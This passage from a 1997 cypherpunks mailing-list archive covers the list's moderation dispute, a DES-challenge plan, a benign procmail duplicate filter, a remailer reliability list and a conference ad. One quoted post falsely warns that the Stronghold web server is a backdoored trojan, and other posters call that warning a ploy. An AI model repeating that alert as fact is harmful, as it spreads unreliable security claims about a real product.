(Also, that way we can't use university machines etc.) This topic has been discussed too often also. Read the archives for more debate. Tim Tim Newsome. Programmer for Megasoft. Student at CMU. Cynic in life. Intel sucks. Motorola forever! If it's not PGP signed, it didn't come from me. Always look on the bright side of life. I think I think therefore I think I am. drz at froody.bloke.com http://www.local.com/~tnewsom/ PGP key: 2048/C32F01A5 -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: noconv Comment: In God we trust. Everybody else we verify using PGP! iQEVAwUBMwh34PKkXTDDLwGlAQE/KggAmWk9rL86fknnXWy9ASPWQokH6J0vEzW+ qhrBklXwv0Lz5HGNV92OM0qh9KI+bqFct9aNY0B15g6APspSUNYr7RaXI2/LaSYb 0gG7YpPe2kHFdSWsodhYyu7DTzYvdDI1AJOmEnSUKHQPKiLwU/RgVZiLEttuvIcS GCjDEGEW7C0YIrQKTkLoYKkSHz6HHXQ+/hr66yCBMD7AIS1C/p9yN2ticmQ3hLnd DYSpVQb9NudLcU0bGZC1U31o70hSVmyETTt9VcuJCOXseiggWTZsZuNK/D+f5TfA WBEcIAWToBHfrWSokuF9nunAarmcddQyPu/93hzRkgODVTWgmnpOGA== =IuAs -----END PGP SIGNATURE----- From cynthb at sonetis.com Mon Feb 17 08:48:23 1997 From: cynthb at sonetis.com (Cynthia H. Brown) Date: Mon, 17 Feb 1997 08:48:23 -0800 (PST) Subject: Cypherpunks afraid of spam? In-Reply-To: <19970217044832.19610.qmail@taz.nceye.net> Message-ID: On 17 Feb 1997, Bryan Reece wrote: > So, if I put root at 127.0.0.1 in the "From:" field of my news reader's > configuration, all of my posts will give this as my e-mail address. > > More likely to be delivered is root@[127.0.0.1] or Oops, finger trouble... Must've been something in that pizza for supper Cynthia =============================================================== Cynthia H. Brown, P.Eng. E-mail: cynthb at iosphere.net | PGP Key: See Home Page Home Page: http://www.iosphere.net/~cynthb/ Junk mail will be ignored in the order in which it is received. Klein bottle for rent; enquire within. From wcampbel at peganet.com Mon Feb 17 08:56:13 1997 From: wcampbel at peganet.com (Bill Campbell) Date: Mon, 17 Feb 1997 08:56:13 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? Message-ID: <199702171656.IAA09288@toad.com> Everyone and his/her cousin has jumped into the void created when John Gilmore decided to pull the plug on toad.com. However, I'm very confused on just what to do at this point, my news server doesn't see alt.cypherpunks yet and if it did would probably lose about 75% of the posts if past performance is to be any indicator. (Or more accurately, would never get them, we seem to be a bottom feeder here in South Florida as far as the newsgroups go.) Has anyone composed a concise summary of just what the options are? Time is running out, I guess. Thanks in advance. =Bill= From dave at kachina.jetcafe.org Mon Feb 17 08:56:13 1997 From: dave at kachina.jetcafe.org (Dave Hayes) Date: Mon, 17 Feb 1997 08:56:13 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702171656.IAA09287@toad.com> Greg Broiles writes: > At 01:13 PM 2/16/97 -0800, Dave Hayes wrote: > >I can also offer my participation in the distributed mailing list, if > >that is what it takes to get cypherpunks free of control interests again. > I think it would be more accurate to say that this is what it takes to get > cypherpunks into the hands of different control interests. Ok. If the legends about this list are true, then this is the ideal place to determine the feasability of removing -any- control interests. ------ Dave Hayes - Altadena CA, USA - dave at jetcafe.org Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet The only person who needs a contract is one who cannot be trusted. From kent at songbird.com Mon Feb 17 08:56:16 1997 From: kent at songbird.com (Kent Crispin) Date: Mon, 17 Feb 1997 08:56:16 -0800 (PST) Subject: Another test Message-ID: <199702171656.IAA09294@toad.com> Another test From apb at iafrica.com Mon Feb 17 08:59:07 1997 From: apb at iafrica.com (Alan Barrett) Date: Mon, 17 Feb 1997 08:59:07 -0800 (PST) Subject: suppressing duplicates based on MD5 of body Message-ID: <199702171658.SAA03217@apb.iafrica.com> It's been more than 30 hours since I sent the first copy of this message to cypherpunks at toad.com, and I still haven't seen it on either the moderated or the flames lists @toad.com. Suspecting that a particular naughty word was to blame, I inserted some hyphens and resent the message several hours later. That too has failed to reach me on either the moderated to the flames lists @toad.com. I am now kmtkujatwv to several other flavours of the list, and will be interested to see which (if any) get *this* message, in which the naughty word is encrypted using the well-known ROT-n algorithm, with a key that I will keep secret. Heres's a procmail recipe for suppressing duplicate messages based on the MD5 of a "normalised" version of the body of the messages. Folk who celcmbslo to more than one of the cypherpunks lists may find it useful. :0 * (Sender: |Return-Path: |Received:.*for.*)(owner-)?cypherpunks { # Detect duplicate messages based on MD5 of normalised body :0:.md5.lock * B ?? ? (m=`$HOME/bin/normalise-body | md5`; \ echo "Message-ID: <$m at MD5>" \ | formail -D 8192 .body-md5.cypherpunks.cache ) cypherpunks-duplicates :0: cypherpunks } The "* B ?? ?" means "send the body of the message as input to the following command, and test the command's exit status". $HOME/bin/normalise-body is a simple perl script (appended) that deletes trailing blanks on all lines and then deletes leading and trailing blank lines. --apb (Alan Barrett) # This is a shell archive. Save it in a file, remove anything before # this line, and then unpack it by entering "sh file". Note, it may # create directories; files and directories will be owned by you and # have default permissions. # # This archive contains: # # normalise-body # echo x - normalise-body sed 's/^X//' >normalise-body << 'END-of-normalise-body' X#!/usr/bin/perl X X# A very weak attempt at normalising the body of a mail message. X# Removes trailing white space on all lines, and removes leading X# and trailing blank lines. X# Does not attempt to normalise any MIME content-transfer-encoding. X X$total_nonblank_lines = 0; X$consecutive_blank_lines = 0; Xwhile (<>) { X s/\s+$//; X if (/^$/) { X $consecutive_blank_lines++; X } else { X print "\n" x $consecutive_blank_lines if $total_nonblank_lines; X print $_; X $consecutive_blank_lines = 0; X $total_nonblank_lines++; X } X} END-of-normalise-body exit From jya at pipeline.com Mon Feb 17 09:09:09 1997 From: jya at pipeline.com (John Young) Date: Mon, 17 Feb 1997 09:09:09 -0800 (PST) Subject: The Offending Stronghold posts... Message-ID: <1.5.4.32.19970217170243.006f6ab4@pop.pipeline.com> Robert Hettinga wrote: >> * I'll supply copies of messages cited if you like. > >Would you please, just so I could trash them myself this time. :-). OK. Here they are: ========================================================== Return-Path: cypherpunks-errors at toad.com X-Sender: jya at pop.pipeline.com Date: Fri, 07 Feb 1997 17:23:14 -0500 To: cypherpunks at toad.com From: John Young Subject: Re: More on Stronghold Charge - 1 Sender: owner-cypherpunks at toad.com ---------- Return-Path: cypherpunks-errors at toad.com To: cypherpunks at toad.com Subject: Disappearing articles? From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Comments: All power to the ZOG! Date: Fri, 31 Jan 97 10:39:11 EST Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y. Sender: owner-cypherpunks at toad.com We already know that Sandy's bot automatically discards submissions from people he doesn't like, irrespective of contents. In the past the rejected articles were tossed to the "flames" list. Now Sandy has gone one step further. The following article criticized the product Sandy is paid to peddle. It showed up on the 'unedited' list, but Sandy hated its contents so much that it hasn't made it to EITHER censored or the 'flames' list! This is the beginning of the censored article: To: cypherpunks at toad.com Subject: Security alert!!! From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Comments: All power to the ZOG! Message-Id: Date: Thu, 30 Jan 97 16:15:21 EST Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y. Sender: owner-cypherpunks at toad.com Precedence: bulk WARNING: There's a rogue trojan horse out there on the internet known as the "stronghold web server". It's actually a hacked-up version of Apache with a backdoor, which allows hackers (or whoever knows the backdoor) to steal credit card numbers and other confidentil information on the Internet. Be careful! Always use encryption. Do not send confidential information 9such as passwords and credit card numbers) to any site running the trojan horse "stronghold". In general, beware of "snake oil" security products and hacked-up versions of free software. Please repost this warning to all relevant computer security forums. (rest snipped to save bandwidth) --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps ========================================================== Return-Path: cypherpunks-errors at toad.com X-Sender: jya at pop.pipeline.com Date: Fri, 07 Feb 1997 18:10:58 -0500 To: cypherpunks at toad.com From: John Young Subject: Re: Is Sandy really censoring criticisms of Stronghold, his product? Sender: owner-cypherpunks at toad.com My version of DV's ploy came via the unedited list. There was also a good, brief discussion about Vulis's multi-pronged Denial of Service attack on Cypherpunks, which came unedited, along with other informative comments about how a technologically adept attacker singles out a quarry amongst a lumbering, slumbering, cud- chewing herd. Quite beastly cryptoanarchistic. ========================================================== Return-Path: cypherpunks-errors at toad.com X-Sender: jya at pop.pipeline.com Date: Sun, 09 Feb 1997 13:17:32 -0500 To: cypherpunks at toad.com From: John Young Subject: Who's Censoring Who? Sender: owner-cypherpunks at toad.com Sandy's e-mailed several of us who've sent messages about Vulis's ploy to put Sandy in a conflict-of-interest bind -- a well-known attack on moderators of all kinds, not just on the net. What's worth admiring is how Vulis has adeptly managed to get others -- targets and witting and unwitting cohorts -- to go along with his attack, attack, attack, by opposing or supporting it. A useful lesson. Smart dude, that Vulis, but no more so than others on the Net, say, Tim May, and in the world who've done the same elsewhere, maybe by even smarter dude(s) who provoked, angered, insulted, an unwitting Vulis, or May, to attack on behalf of ... But such deception is to be expected, along with feigned suprise and outrage at the unfairness of opponents fighting as dirty as one's own pure-blackhearts. Sandy's not censoring cypherpunks, nor is Vulis or May or any single person alone. As Pogo said, it's all of us, posters and lurkers and spooks, each trying to get one's way to prevail, under guise of a high principle not easily honored when the squeeze is on alone in a dark cell. Come on out Sandy, it was just a drill. It's probably worth saving accusations of censorship for the real thing, after trial usage here for what is truly nasty high-stakes global info-war gaming. [Note: Thorn, "cuckoo" and TCM responded to this; none were forwarded to the cp-edited list, AFIK.] ========================================================== From Theodor.SCHLICKMANN at bxl.dg13.cec.be Mon Feb 17 09:11:01 1997 From: Theodor.SCHLICKMANN at bxl.dg13.cec.be (Theodor.SCHLICKMANN at bxl.dg13.cec.be) Date: Mon, 17 Feb 1997 09:11:01 -0800 (PST) Subject: Re(2): DFA Message-ID: <199702171711.JAA09573@toad.com> Hi, the European Commission is also sponsoring a project called "OKAPI" where Quisquater and others are working on smardcards in the spirit of the mentioned publications by DFA. Please check www.tele.ucl.ac.be/OKAPI/index.html for further information. Theodor W. Schlickmann From jya at pipeline.com Mon Feb 17 09:11:16 1997 From: jya at pipeline.com (John Young) Date: Mon, 17 Feb 1997 09:11:16 -0800 (PST) Subject: The Offending Stronghold posts... Message-ID: <199702171711.JAA09591@toad.com> Here're wee additions to your archive: I subbed to cp-unedited from the first, so could compare the unedited messages with the edited. Some of mine(*) were edited, including a few on the Stronghold topic. But to me that's not as big a deal as some want to make of it. For example, in response to Tim's request to repost DV's Stronghold ploy, I did so, and it was edited. Sandy sent me a courteous email stating that he was not forwarding the message. I answered that that was okay with me because I thought that DV was using the issue as a ploy to undermine Sandy. Hey, there were no legal or other threats made to me, darn it! Another of my edited messages stated that there had been good discussion on the unedited list about DV's Denial of Service attack on Cypherpunks. Another noted that DV had been admirably successful in drawing others into his fight -- in support and in opposition -- as part of his DoS. Another questioned "Who's Censoring Who?" and offered the opinion that "censorship" rhetorically exaggerated Sandy's moderation. (I still believe that's the case.) For what it's worth, I oppose moderation, but favor experimentation, in the recognition that humans are near-endlessly adaptable and near- uncontrollable no matter what control mechanisms are employed -- anarchy is the norm whether advocated or not. So, I think the moderation experiment was a success, in that it has led to an unexpectedly constructive reconfiguration of Cypherpunks -- and not the last, that's for sure -- and showed that any archy is wishful dreaming of tortured hearts and minds and loins. A one hand applause to Dr. V and archy-demolishers for vibrating the c'punks house the way SATAN did bigger shoddy piles. Two hands to TCM for more memorable quaking of structure-bunkered c'punks and others. ----- * I'll supply copies of messages cited if you like. From drz at froody.bloke.com Mon Feb 17 09:11:18 1997 From: drz at froody.bloke.com (Tim Newsome) Date: Mon, 17 Feb 1997 09:11:18 -0800 (PST) Subject: (fwd) DES challenge organisation Message-ID: <199702171711.JAA09598@toad.com> -----BEGIN PGP SIGNED MESSAGE----- On Sat, 15 Feb 1997, Adam Back wrote: > > 5. The prize money will be split equally between Gutenberg and EFF. > > There is a possibility of using part of it for stickers or > > something similar, but don't count on it. > Not a good idea. > How can this be enforced? The RSADSI DES challenge is open to all Unless people modify the client, we will know about it before they do. Yes, people might cheat. Main point is we don't want to turn this into a race for money. (Also, that way we can't use university machines etc.) This topic has been discussed too often also. Read the archives for more debate. Tim Tim Newsome. Programmer for Megasoft. Student at CMU. Cynic in life. Intel sucks. Motorola forever! If it's not PGP signed, it didn't come from me. Always look on the bright side of life. I think I think therefore I think I am. drz at froody.bloke.com http://www.local.com/~tnewsom/ PGP key: 2048/C32F01A5 -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: noconv Comment: In God we trust. Everybody else we verify using PGP! iQEVAwUBMwh34PKkXTDDLwGlAQE/KggAmWk9rL86fknnXWy9ASPWQokH6J0vEzW+ qhrBklXwv0Lz5HGNV92OM0qh9KI+bqFct9aNY0B15g6APspSUNYr7RaXI2/LaSYb 0gG7YpPe2kHFdSWsodhYyu7DTzYvdDI1AJOmEnSUKHQPKiLwU/RgVZiLEttuvIcS GCjDEGEW7C0YIrQKTkLoYKkSHz6HHXQ+/hr66yCBMD7AIS1C/p9yN2ticmQ3hLnd DYSpVQb9NudLcU0bGZC1U31o70hSVmyETTt9VcuJCOXseiggWTZsZuNK/D+f5TfA WBEcIAWToBHfrWSokuF9nunAarmcddQyPu/93hzRkgODVTWgmnpOGA== =IuAs -----END PGP SIGNATURE----- From raph at CS.Berkeley.EDU Mon Feb 17 09:11:22 1997 From: raph at CS.Berkeley.EDU (Raph Levien) Date: Mon, 17 Feb 1997 09:11:22 -0800 (PST) Subject: List of reliable remailers Message-ID: <199702171711.JAA09607@toad.com> I operate a remailer pinging service which collects detailed information about remailer features and reliability. To use it, just finger remailer-list at kiwi.cs.berkeley.edu There is also a Web version of the same information, plus lots of interesting links to remailer-related resources, at: http://www.cs.berkeley.edu/~raph/remailer-list.html This information is used by premail, a remailer chaining and PGP encrypting client for outgoing mail. For more information, see: http://www.c2.org/~raph/premail.html For the PGP public keys of the remailers, finger pgpkeys at kiwi.cs.berkeley.edu This is the current info: REMAILER LIST This is an automatically generated listing of remailers. The first part of the listing shows the remailers along with configuration options and special features for each of the remailers. The second part shows the 12-day history, and average latency and uptime for each remailer. You can also get this list by fingering remailer-list at kiwi.cs.berkeley.edu. $remailer{"extropia"} = " cpunk pgp special"; $remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?"; $remailer{"replay"} = " cpunk mix pgp hash latent cut post ek"; $remailer{'alpha'} = ' alpha pgp'; $remailer{'nymrod'} = ' alpha pgp'; $remailer{"lead"} = " cpunk mix pgp hash latent cut ek"; $remailer{"exon"} = " cpunk pgp hash latent cut ek"; $remailer{"haystack"} = " cpunk mix pgp hash latent cut ek"; $remailer{"lucifer"} = " cpunk mix pgp hash latent cut ek"; $remailer{"jam"} = " cpunk mix pgp hash middle latent cut ek"; $remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord"; $remailer{'nym'} = ' newnym pgp'; $remailer{"balls"} = " cpunk pgp hash latent cut ek"; $remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek"; $remailer{"middle"} = " cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{'cyber'} = ' alpha pgp'; $remailer{"dustbin"} = " cpunk pgp hash latent cut ek mix reord middle ?"; $remailer{'weasel'} = ' newnym pgp'; $remailer{"death"} = " cpunk pgp hash latent post"; $remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{"wazoo"} = " cpunk mix pgp hash latent cut ek"; $remailer{"shaman"} = " cpunk mix pgp. hash latent cut"; catalyst at netcom.com is _not_ a remailer. lmccarth at ducie.cs.umass.edu is _not_ a remailer. usura at replay.com is _not_ a remailer. remailer at crynwr.com is _not_ a remailer. There is no remailer at relay.com. Groups of remailers sharing a machine or operator: (cyber mix) (weasel squirrel) The alpha and nymrod nymservers are down due to abuse. However, you can use the nym or weasel (newnym style) nymservers. The cyber nymserver is quite reliable for outgoing mail (which is what's measured here), but is exhibiting serious reliability problems for incoming mail. The squirrel and winsock remailers accept PGP encrypted mail only. 403 Permission denied errors have been caused by a flaky disk on the Berkeley WWW server. This seems to be fixed now. The penet remailer is closed. Last update: Mon 17 Feb 97 6:46:40 PST remailer email address history latency uptime ----------------------------------------------------------------------- wazoo remailer at wazoo.com ++++++++*+++ 37:37 100.00% nym config at nym.alias.net *#*##**++#*+ 4:23 99.99% winsock winsock at rigel.cyberpass.net -__.+-..---+ 7:52:03 99.93% cyber alias at alias.cyberpass.net ** *++++++*+ 35:11 99.89% dustbin dustman at athensnet.com .++--.+--- 2:08:12 99.85% weasel config at weasel.owl.de +++++++++++ 1:06:36 99.77% exon remailer at remailer.nl.com ***-* *#+# 4:10 99.62% squirrel mix at squirrel.owl.de + ++++++ + 1:04:02 99.05% haystack haystack at holy.cow.net #*##*+* **+ 20:23 98.49% reno middleman at cyberpass.net .++ -- +++ 1:16:02 98.36% lucifer lucifer at dhp.com +++++++ +++ 42:18 98.28% extropia remail at miron.vip.best.com -------- -- 5:19:42 98.21% middle middleman at jpunix.com ++++ + -- 2:16:10 97.36% replay remailer at replay.com ---+** ---* 1:27:53 88.59% balls remailer at huge.cajones.com ## *### *# 1:38 84.09% jam remailer at cypherpunks.ca ******* ** 8:25 82.44% shaman mix at mix.nymserver.com 11:03 22.27% mix mixmaster at remail.obscura.com *+ 22:42:38 21.62% History key * # response in less than 5 minutes. * * response in less than 1 hour. * + response in less than 4 hours. * - response in less than 24 hours. * . response in more than 1 day. * _ response came back too late (more than 2 days). cpunk A major class of remailers. Supports Request-Remailing-To: field. eric A variant of the cpunk style. Uses Anon-Send-To: instead. penet The third class of remailers (at least for right now). Uses X-Anon-To: in the header. pgp Remailer supports encryption with PGP. A period after the keyword means that the short name, rather than the full email address, should be used as the encryption key ID. hash Supports ## pasting, so anything can be put into the headers of outgoing messages. ksub Remailer always kills subject header, even in non-pgp mode. nsub Remailer always preserves subject header, even in pgp mode. latent Supports Matt Ghio's Latent-Time: option. cut Supports Matt Ghio's Cutmarks: option. post Post to Usenet using Post-To: or Anon-Post-To: header. ek Encrypt responses in reply blocks using Encrypt-Key: header. special Accepts only pgp encrypted messages. mix Can accept messages in Mixmaster format. reord Attempts to foil traffic analysis by reordering messages. Note: I'm relying on the word of the remailer operator here, and haven't verified the reord info myself. mon Remailer has been known to monitor contents of private email. filter Remailer has been known to filter messages based on content. If not listed in conjunction with mon, then only messages destined for public forums are subject to filtering. Raph Levien From rah at shipwright.com Mon Feb 17 09:11:32 1997 From: rah at shipwright.com (Robert Hettinga) Date: Mon, 17 Feb 1997 09:11:32 -0800 (PST) Subject: FC97 lookalike: Stock Trading over the Internet Conference Message-ID: <199702171711.JAA09613@toad.com> I don't know about *lookalike*... Cheers, Bob Hettinga --- begin forwarded text Sender: e$@thumper.vmeng.com Reply-To: Ian Grigg Precedence: Bulk Date: Mon, 17 Feb 1997 10:30:32 +0100 (MET) From: Ian Grigg To: Multiple recipients of Subject: FC97 lookalike: Stock Trading over the Internet Conference http://www.iqpc.com/0397stoc.htm STOCK TRADING OVER THE INTERNET Exploiting the power of Electronic Commerce March 19-20, 1997 * The Pan Pacific Hotel * San Francisco, CA Hear first hand tips from the true pioneers in Internet stock trading and electronic commerce on: Conquering the process of going public Raising capital in your company via the Internet Using the Web to build your business and partnering with co-opitition Forming permanent syndicates to foster the creation of new offerings Creating effective and complete marketing plans for IPO's and DPO's Attracting customers and delivering services through the exploding electronic commerce market The audience for this event will include companies looking to offer shares via the Internet and drastically cut costs including; Chief Executive Officers, Chief Financial Officers, Managing Directors, General Managers, Investor Relations Managers, Underwriters, Stock Exchange Executives, Venture Capitalists, Investment Bankers, Private Company Executives, Business Development Executives, Technology and Business Press and all those seeking to explore opportunities on the emerging Internet marketplace DAY ONE March 19, 1997 Chairman: Brad W. Smith, President, WBS & A, Ltd. 8:30 REGULATORY CONSIDERATIONS ON INTERNET PUBLIC OFFERINGS This session will review the many regulatory and legislative issues involved in the development of Internet public offerings. In particular, how and why the regulatory bodies of the NASD, NASDAQ and the SEC are making a commitment to the Internet as a vehicle that serves the investor. Proper surveillance procedures have been created and executed to protect all parties. Internet initiatives have been developed to bridge the market side and regulatory side of these complex issues. Al Dandridge, Associate Director of Corporate Finance U.S. SECURITIES AND EXCHANGE COMMISSION Charles Bennett, Associate Director of Corporate Finance NASD 9:30 INTERNET TRADING MARKET PROJECTIONS Internet trading is an emerging market wave that is poised for explosive growth. More than 60 million investors have brokerage accounts. The media reports that Internet brokerage accounts will jump from 1.5 million today to 9.3 million by the year 2001; Every bank will use the Internet to attract customers and deliver services in the next five years and electronic commerce will grow to $600 billion annually within the next 10 years. Visionaries believe that one of the most profound effects of these phenomena's will be to changehow small businesses get capitalized. They predict that small business public offerings will become routine for nano-cap companies. This session will present a strategic overview of the emergence of internet capabilities that make it possible for investors to invest in and trade nano-cap company stocks. Brad Smith, President WBS & A, Ltd. bradwsmith at aol.com 11:00 GOING PUBLIC: HOW TO RAISE CAPITAL THROUGH A DIRECT PUBLIC OFFERING (DPO) This session will explore from concept to completion, how to perform all of the necessary functions to prepare and market a DPO and/or an Internet DPO. A case study will be shared of a DPO that will be presented to the investment community world-wide in early 1997. Learn from the experts the specifics on how to take your company where you want to go and ensure success including: Marketing through an investor relations firm Choosing an appropriate analyst Utilizing a transfer agent The link between broker and internet commerce David A. Levonian, President INTERNATIONAL INVESTOR RELATIONS http://iirwebtv.net 1:00 OVERCOMING THE PITFALLS AND CHALLENGES OF GOING PUBLIC The advantages of "going public" appear straight forward. The company accesses the capital it needs to expand or refine its product. (In a purely coincidental occurrence, the current shareholder [including investment bankers, SEC lawyers and stock brokers] get rich.) There are numerous challenges in conquering the process of "going public" including: There are problems with the lawyers, accountants and the bankers and they are on YOUR SIDE There are pounds of paper forms which must be submitted to every group, not to mention the SEC. However, an approved offering does not make a successful offering. It still must be marketed, either by stock brokers OR MAYBE directly over the Internet. And not just to the U.S., but to the entire world. That may be the wave of the future. Direct access to securities and their offering companies over the Internet. Michael J. Waddell, President PROMARKETING, INC. Developer of the (http://www.freemarket.org) selected by PC Novice Guide to the Web as one of the Internet "Greatest Sites" 2:00 IPONET: SELLING & ADVERTISING IPO'S ON THE INTERNET: THE CREATION OF THE FIRST PERMANENT SYNDICATE IPOnet is currently the only site on the Internet with clearance from the SEC to advertise and sell new security offerings online. IPOnet intends to have multiple Broker/Dealers listed on it's site. This will create the first permanent syndicate of Broker/Dealers. These Broker/Dealers will act as selected dealers for each others offerings and act as underwriters of their own offerings. This session will examine the following topics: Why the broker can not be eliminated from the offerings What really happens when an IPO is put on the Internet Why DPO's will never be a major threat to brokers Why a permanent syndicate will foster the creation of new offerings Leo J. Feldman, President IPONET http://www.e-iponet.com lfeldman at e-iponet.com 3:30 THE IMPORTANCE OF TRADITIONAL EXCHANGES AS A SECONDARY MARKET Taking your company public via the Internet, rather than the traditional exchange, has become a very viable alternative for small business owners. However, unless the offering is backed by a complete marketing plan, it is unlikely that the offering will reap huge financial rewards and achieve success. Incorporating a traditional exchange as a secondary market into the plan can solidify, stabilize and extend the offering beyond the Internet marketplace and create longevity and security and financial return on your offering. This session will explore secondary markets and how traditional exchanges are advocating the collaborative efforts of traditional and web offerings. Iris Golden Brackett, Manager Listing Sales CHICAGO STOCK EXCHANGE 4:30 Panel Discussion: PUBLIC OFFERINGS AND THE INTERNET: LEGAL CONSIDERATIONS Join three of the most influential Internet finance and securities attorneys for this highly interactive session. They will discuss the legal aspects associated with buying and selling securities on the Internet, including private placement, Regulation A offerings and independent public offerings. Come prepared to share your challenges and solutions! William D. Evers, Esq. MILLER, MAILLIARD & CULVER M. Greg Allio, Esq. SHARTSIS, FRIESE & GINSBERG John Perkins, Chairman THE SMALL BUSINESS CAPITAL ACCESS ASSOCIATION Charles Bennett, Associate Director of Corporate Finance NASD 5:45 CLOSE OF DAY ONE DAY TWO March 20, 1997 8:15 ELECTRONIC BULLETIN BOARDS FOR BID AND ASK OFFERS: THE EMERGENCE OF DIRECT STOCK MARKET The secondary market is the key to successful initial and direct public offerings. The traditional brokerage community has their hands tied when it comes to underwriting and making markets in small company issues. A new strata of corporate finance is being created by technological advances which marry capital requirements of entrepreneurs with risk/return and information demands of investors. This presentation will explore: Using the internet to raise capital for your company Secondary market trading on the Internet Virtual roadshows online Building your own public venture capital portfolio Investing in public venture funds Clay Womack, President DIRECT STOCK MARKET http://www.direct-stock-market.com 9:15 EXPLOITING INTERNET TECHNOLOGY TO REACH A GLOBAL AUDIENCE The power of the Internet has unleashed the potential for new business expansion and financial opportunity in a global market. Foreign businesses can now join forces quickly to create products and services and offer them to a larger population than before. This session will examine how to cultivate these partnerships, foster growth and secure positive financial outcomes by: Using the Web to build your business and partnering with co-opitition Attracting "qualified" people to your site Exploring value-added opportunities in the financial market on the Internet Michael Withrow, Director POWERTRADER, INC. http://www.powertrader.axionet.com 10:45 UNDERSTANDING THE COMPONENTS OF A STOCK TRANSFER Choosing a transfer agent with diversity of services allows your company to do more and retain extra added-value components and services. This session will take you step-by-step through the IPO process from working with attorneys through to the transfer work. Learn how to: How to judicate a stock transfer Outline the processes needed Develop the steps involved Anticipate the role of the Internet in stock transfers Sherri Herman, President THE HERMAN GROUP, INC. SMALL BUSINESS CAPITAL ACCESS ASSOCIATION 1:00 INTERNET TRANSACTIONS FOR THE PORTFOLIO MANAGER This session will feature case studies and the future outlook on internet transactions for portfolio managers including: What is the Electronic/Internet Information System? -Office based and wireless -Text and video How is it used? -The two way information flows -Routine and custom information Specific needs and requirements for the portfolio manager and ways of customizing the information What are the advantages of the new system? Costs and tools of the system -Dollars -Technology -Savvy and advertising John Palicka, CFA, CMT Portfolio Manager GLOBAL EMERGING GROWTH 2:30 INTERNET OPPORTUNITIES FOR PUBLIC COMPANIES This session will focus on opportunities available on the Internet to companies that are publicly traded. A presentation no senior executive should miss! This presentation will examine why public companies should consider the added profitability of the Internet and offer specific Internet strategies and risks including: Using the Internet to improve liquidity Build a stock analyst following using the Internet Dealing with Motley Fool's and other potential risks M. Greg Allio, Partner SHARTSIS FRIESE & GINSBERG 3:30 CREATING AN ELECTRONIC STOCK EXCHANGE Exploiting IP-Understanding Internet Protocol (IP) - How to make your business grow ON-LINE by using the "best of" all available software Order Driven Systems- Understanding why market makers & specialists are a "necessary evil" we live with, and look at the functionality of SuperDot-type automation as opposed to Drop Copy A Virtual Branch Office- The growth of the independent brokerage industry, and a look at what will happen to the traditional registered representative Compliance/Supervision- How a small brokerage firm will supervise their representatives in the Internet age Ken Gruneisen, President & CEO, BEST EX, INC. THE BOCA RATON ELECTRONIC STOCK EXCHANGE 5:30 END OF CONFERENCE Post Conference Workshops ------------------------- 9:00am - 12:00pm The Impact of the World Wide Web on Individual Investors and Electronic Stock Trading 1pm - 4pm Building the partnership between Electronic Commerce and Raising Capital1pm - 4pm ---------- The e$ lists are brought to you by: Intertrader Ltd - Commerce Solutions in the UK Visit for details ... Where people, networks and money come together: Consult Hyperion http://www.hyperion.co.uk info at hyperion.co.uk Like e$? Help pay for it! See Or, for e$/e$pam sponsorship, see Thanks to the e$ e$lves: Of Counsel: Vinnie Moscaritolo (Majordomo)^2: Rachel Willmer Commermeister: Anthony Templer Interturge: Rodney Thayer --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From cynthb at sonetis.com Mon Feb 17 09:26:21 1997 From: cynthb at sonetis.com (Cynthia H. Brown) Date: Mon, 17 Feb 1997 09:26:21 -0800 (PST) Subject: Cypherpunks afraid of spam? Message-ID: <199702171726.JAA09922@toad.com> On 17 Feb 1997, Bryan Reece wrote: > So, if I put root at 127.0.0.1 in the "From:" field of my news reader's > configuration, all of my posts will give this as my e-mail address. > > More likely to be delivered is root@[127.0.0.1] or Oops, finger trouble... Must've been something in that pizza for supper Cynthia =============================================================== Cynthia H. Brown, P.Eng. E-mail: cynthb at iosphere.net | PGP Key: See Home Page Home Page: http://www.iosphere.net/~cynthb/ Junk mail will be ignored in the order in which it is received. Klein bottle for rent; enquire within. From apb at iafrica.com Mon Feb 17 09:41:08 1997 From: apb at iafrica.com (Alan Barrett) Date: Mon, 17 Feb 1997 09:41:08 -0800 (PST) Subject: suppressing duplicates based on MD5 of body Message-ID: <199702171741.JAA10168@toad.com> It's been more than 30 hours since I sent the first copy of this message to cypherpunks at toad.com, and I still haven't seen it on either the moderated or the flames lists @toad.com. Suspecting that a particular naughty word was to blame, I inserted some hyphens and resent the message several hours later. That too has failed to reach me on either the moderated to the flames lists @toad.com. I am now kmtkujatwv to several other flavours of the list, and will be interested to see which (if any) get *this* message, in which the naughty word is encrypted using the well-known ROT-n algorithm, with a key that I will keep secret. Heres's a procmail recipe for suppressing duplicate messages based on the MD5 of a "normalised" version of the body of the messages. Folk who celcmbslo to more than one of the cypherpunks lists may find it useful. :0 * (Sender: |Return-Path: |Received:.*for.*)(owner-)?cypherpunks { # Detect duplicate messages based on MD5 of normalised body :0:.md5.lock * B ?? ? (m=`$HOME/bin/normalise-body | md5`; \ echo "Message-ID: <$m at MD5>" \ | formail -D 8192 .body-md5.cypherpunks.cache ) cypherpunks-duplicates :0: cypherpunks } The "* B ?? ?" means "send the body of the message as input to the following command, and test the command's exit status". $HOME/bin/normalise-body is a simple perl script (appended) that deletes trailing blanks on all lines and then deletes leading and trailing blank lines. --apb (Alan Barrett) # This is a shell archive. Save it in a file, remove anything before # this line, and then unpack it by entering "sh file". Note, it may # create directories; files and directories will be owned by you and # have default permissions. # # This archive contains: # # normalise-body # echo x - normalise-body sed 's/^X//' >normalise-body << 'END-of-normalise-body' 